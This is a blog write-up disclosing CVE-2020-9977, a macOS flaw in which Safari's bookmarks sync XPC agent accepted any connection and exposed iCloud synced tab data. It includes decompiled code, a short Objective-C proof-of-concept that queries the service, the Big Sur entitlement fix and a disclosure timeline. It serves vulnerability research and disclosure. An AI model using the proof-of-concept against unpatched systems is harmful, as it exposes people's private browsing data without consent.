Accessing sensitive Safari browsing data on macOS (CVE-2020-9977)

The following is a writeup of CVE-2020-9977, a macOS vulnerability which allowed access to view sensitive Safari data for devices in a user’s iCloud account, which was resolved in macOS 11.0.1.

Background: XPC

XPC is one of Apple’s inter-process communication frameworks, which facilitates communication between applications and their helper processes.

There are two different APIs available for working with XPC services – the C-based XPC services API and the Objective-C-based NSXPCConnection API.

The NSXPCConnection API is made up primarily of the NSXPCInterface and NSXPCConnection classes. NSXPCInterface defines the allowed messages, objects and reply blocks that available via connection, and the NSXPCConnection class facilitates the bidirectional communication between processes.

XPC services can be contained within an app bundle, or reside outside (such as binaries in ~/Library/LaunchAgents or /Library/LaunchDaemons managed by launchd(8)). macOS enables communication with binaries outside an app bundle with the initWithMachServiceName: method.

Safari

Safari is built with many different XPC services, one of which is SafariBookmarkSyncAgent. This service handles retrieving and persisting the set of open tabs that users have open on devices in their iCloud account.

The binary is stored within SafariSupport.bundle, in /Library/Apple/System/Library/CoreServices/, which as mentioned earlier, is outside the Safari app bundle.

It’s automatically started by a launch service defined in com.apple.SafariBookmarksSyncAgent.plist, within /System/Library/LaunchAgents.

Here is a subset of the exported XPC interface (obtainable through a tool such as class-dump):

@protocol WBSSafariBookmarksSyncAgentProtocol <WBSCyclerCloudBookmarksAssistant>
- (void)getCloudTabContainerManateeStateWithCompletionHandler:(void (^)(BOOL))arg1;
- (void)fetchSyncedCloudTabDevicesAndCloseRequestsWithCompletionHandler:(void (^)(NSArray *, NSArray *, NSError *))arg1;
- (void)getCloudTabDevicesWithCompletionHandler:(void (^)(NSArray *))arg1;
- (void)deleteCloudTabCloseRequestsWithUUIDStrings:(NSArray *)arg1 completionHandler:(void (^)(NSError *))arg2;
- (void)deleteDevicesWithUUIDStrings:(NSArray *)arg1 completionHandler:(void (^)(NSError *))arg2;
- (void)saveCloudTabCloseRequestWithDictionaryRepresentation:(NSDictionary *)arg1 closeRequestUUIDString:(NSString *)arg2 completionHandler:(void (^)(NSError *))arg3;
- (void)saveTabsForCurrentDeviceWithDictionaryRepresentation:(NSDictionary *)arg1 deviceUUIDString:(NSString *)arg2 completionHandler:(void (^)(NSError *))arg3;
- (void)collectDiagnosticsDataWithCompletionHandler:(void (^)(NSData *))arg1;
- (void)beginMigrationFromDAV;
- (void)observeRemoteMigrationStateForSecondaryMigration;
- (void)fetchRemoteMigrationStateWithCompletionHandler:(void (^)(long long, NSString *, NSError *))arg1;
- (void)fetchUserIdentityWithCompletionHandler:(void (^)(NSString *, NSError *))arg1;
- (void)userAccountDidChange:(long long)arg1;
- (void)userDidUpdateBookmarkDatabase;
- (void)registerForPushNotificationsIfNeeded;
@end

And here’s the Hopper pseudocode decompilation for the shouldAcceptNewConnection method, which is responsible for determining whether the bookmark sync agent should accept a new incoming connection:

/* @class SafariBookmarksSyncAgent */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    r13 = [arg3 retain];
    rax = [NSXPCInterface interfaceWithProtocol:@protocol(WBSSafariBookmarksSyncAgentProtocol)];
    rax = [rax retain];
    [r13 setExportedInterface:rax];
    [rax release];
    [r13 setExportedObject:self];
    [r13 resume];
    [r13 release];
    return 0x1;
}

Notice that the method creates a new NSXPCInterface which is then immediately set as the exportedInterface of the connection (arg3) and 0x1 (equivalent to an Objective-C YES) is returned.

As per the documentation for this method, a connection can be rejected by returning NO:

To accept the connection, first configure the connection if desired, then call resume on the new connection, then return YES.

To reject the connect, return a value of NO. This causes the connection object to be invalidated.

Since YES is always returned here, all connections are accepted. Furthermore, since this XPC service is a mach service managed by the system, any binary on the system can create a connection and communicate with the daemon.

Here’s some example code from a demonstration application:

NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.SafariBookmarksSyncAgent" options:(NSXPCConnectionOptions)0];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WBSSafariBookmarksSyncAgentProtocol)];
NSSet *classes = [NSSet setWithArray:[NSArray arrayWithObjects:
                                              [WBSFetchedCloudTabDeviceOrCloseRequest class],
                                              [NSArray class],
                                              [NSString class],
                                              [NSDictionary class],
                                              [NSNumber class],
                                              [NSDate class],
                                              nil]
                ];
[connection.remoteObjectInterface setClasses:classes forSelector:@selector(fetchSyncedCloudTabDevicesAndCloseRequestsWithCompletionHandler:) argumentIndex:0 ofReply:YES];
[connection resume];
[[connection remoteObjectProxy] fetchSyncedCloudTabDevicesAndCloseRequestsWithCompletionHandler:^void(NSArray *cloudTabDevices, NSArray *closeRequests, NSError *error) {
        // handle data
    }];

And a demonstration app using data from my iCloud devices:

This contradicts the improvements to macOS security announced in the WWDC 2018 session Advances in macOS Security, which lists Safari browsing history as a new category of data that should be protected:

WWDC 2018 Session 702 Slide

This was disclosed to Apple, and fixed as part of macOS Big Sur. Here’s the Hopper pseudocode decompilation for the bookmarks sync agent in Big Sur:

/* @class SafariBookmarksSyncAgent */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    rcx = arg3;
    r14 = self;
    rax = [rcx retain];
    r15 = rax;
    rax = [rax valueForEntitlement:@"com.apple.private.safari.can-use-bookmarks-sync-agent"];
    rax = [rax retain];
    r12 = [rax boolValue];
    [rax release];
    if (r12 != 0x0) {
            rax = [NSXPCInterface interfaceWithProtocol:@protocol(WBSSafariBookmarksSyncAgentProtocol), rcx];
            rax = [rax retain];
            [r15 setExportedInterface:rax, rcx];
            [rax release];
            [r15 setExportedObject:r14, rcx];
            [r15 resume];
            rbx = 0x1;
    }
    else {
            rax = sub_100065ee1();
            r14 = rax;
            if (os_log_type_enabled(rax, 0x10) != 0x0) {
                    sub_1000680d3(r14, r15, r14);
            }
            rbx = 0x0;
    }
    [r15 release];
    rax = rbx & 0xff;
    return rax;
}

int sub_1000680d3(int arg0, int arg1, int arg2) {
    var_28 = **___stack_chk_guard;
    r12 = [arg0 retain];
    rax = [arg1 processIdentifier];
    var_30 = 0x4000100;
    *(int32_t *)(&var_30 + 0x4) = rax;
    rsp = ((rsp - 0x8) + 0x8 - 0x8) + 0x8;
    _os_log_error_impl(__mh_execute_header, arg2, 0x10, "Connection to bookmarks sync agent by %d was denied: Missing entitlement", &var_30, 0x8);
    [r12 release];
    rax = *___stack_chk_guard;
    rax = *rax;
    if (rax != var_28) {
            rax = __stack_chk_fail();
    }
    return rax;
}

Note that the process now checks that any incoming connections have the com.apple.private.safari.can-use-bookmarks-sync-agent entitlement, and will disallow any incoming connections from processes that don’t have this entitlement (by returning 0x0 - equivalent to an Objective-C NO), logging an error instead (in sub_1000680d3).

This abridged list of Safari’s entitlements shows that Safari now now possesses this entitlement:

$ codesign -d --entitlements :- /Applications/Safari.app
Executable=/Applications/Safari.app/Contents/MacOS/Safari
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>com.apple.private.safari.can-use-bookmarks-sync-agent</key>
	<true/>
</dict>
</plist>

Observe this connection being refused an exception logged for my demonstration app in Console.app in macOS Big Sur:

Console app showing entitlement exception

This is a restricted entitlement which only Apple-signed apps are permitted to use, as mentioned in this Objective-See blog post:

[AppleMobileFileIntegretyDaemon or amfid(8)] is the daemon responsible for fetching and verifying entitlements/signatures of signed binaries. amfid wouldn’t allow us to run since we’re a non Apple signed program with restricted entitlements.

For example, attempting to run a binary with this Safari entitlement that isn’t signed by Apple results in the following:

error	16:22:23.667525+1100	taskgated-helper	com.joshparnham.AppleSignatureCheck: Unsatisfied entitlements: com.apple.private.safari.can-use-bookmarks-sync-agent
error	16:22:23.667623+1100	taskgated-helper	Disallowing: com.joshparnham.AppleSignatureCheck
default	16:22:23.668953+1100	kernel	proc 58449: load code signature error 4 for file "AppleSignatureCheck"
default	16:22:23.668783+1100	amfid	/Users/josh/Desktop/AppleSignatureCheck.app/Contents/MacOS/AppleSignatureCheck signature not valid: -67671
default	16:22:23.873348+1100	ReportCrash	Sending event: com.apple.stability.crash {"appVersion":"???","exceptionType":13,"process":"AppleSignatureCheck","responsibleApp":"AppleSignatureCheck"}

This fix is the same approach taken by Apple to fix the “RootPipe” vulnerability found in older versions of OS X, as documented here.

Timeline

  • 2020-05-17: Initial disclosure
  • 2020-05-19: Acknowledgement
  • 2020-08-18: Confirmed fix in beta macOS/Safari versions
  • 2020-10-17: Bounty awarded

← Previous Post: Installing AppleGlot on macOS Catalina and Big Sur

Next Post: Accessing sensitive call data on macOS (CVE-2021-30673)